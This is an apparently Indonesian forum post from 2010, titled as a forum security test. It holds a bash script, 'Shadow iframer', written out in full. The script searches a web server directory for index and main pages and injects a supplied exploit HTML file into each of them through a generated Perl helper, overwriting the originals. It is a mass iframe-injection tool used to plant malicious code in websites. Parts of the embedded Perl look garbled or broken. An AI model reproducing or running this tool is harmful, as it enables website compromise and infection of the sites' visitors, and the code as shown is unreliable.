Would you like to react to this message? Create an account in a few clicks or log in to continue.



 
IndeksPortalLatest imagesPendaftaranLogin

 

test keamanan forum

Topik sebelumnya Topik selanjutnya Go down 
Pengirim Message
admin2
Tamu
avatar



PostSubyek: test keamanan forum   test keamanan forum Icon_minitimeMon May 31, 2010 10:55 pm

#!/bin/bash

usage () {
echo "################################################## ######"
echo "#Shadow iframer[local][n0b0dy version] (c)ode by Gh0s7#"
echo "################################################## ######"
echo "#usage: ./sh-iframe.sh [iframe file] [path] #"
echo "# ./sh-iframe.sh exploit.html /var/www/31337.su #"
echo "################################################## ######"
exit 1
}

check=`expr length "$1"`
if [ $check == 0 ]; then
usage
fi

check=`expr length "$2"`
if [ $check == 0 ]; then
usage
fi

if [ ! -d $2 ]; then
echo "[x] $2 directory doesnt exists"; exit 1
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find $2 -name "index.html*" 2> /dev/null > /tmp/found
find $2 -name "index.php*" 2> /dev/null >> /tmp/found
find $2 -name "index.shtml" 2> /dev/null >> /tmp/found
find $2 -name "index.phtml" 2> /dev/null >> /tmp/found
find $2 -name "main.html*" 2> /dev/null > /tmp/found
find $2 -name "main.php*" 2> /dev/null >> /tmp/found
find $2 -name "default.php*" 2> /dev/null >> /tmp/found
find $2 -name "main.shtml" 2> /dev/null >> /tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while () {
chomp; $file = $_;
@res = split (/\//);
$len = 0;
foreach (@res) { $len++; }
open (FILE, "<$_") or next;
open (TMP, ">/tmp/$res[$len-1]") or next;
open (INJECT, "<$inject") or die;
sysread (INJECT, $code, 1024);
close (INJECT);
while () {
print TMP $_;
if (//) { print TMP $code; }
}
close (TMP);
close (FILE);
system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
system ("./mv $file /tmp/$res[$len-1].bak");
system ("./mv /tmp/$res[$len-1] $file");
}'
echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \" iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > /tmp/mv; chmod +x /tmp/mv
echo 'rm $@' > /tmp/rm; chmod +x /tmp/rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm /tmp/mv /tmp/rm
rm /tmp/index*
echo "[*] Finished"
exit 0
Kembali Ke Atas Go down

test keamanan forum

Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1

Permissions in this forum: Anda tidak dapat menjawab topik
 :: 

MIG33 SIDAREJA :: MIG33 PC TOOL

-
Free forum | ©phpBB | Free forum support | Report an abuse | Latest discussions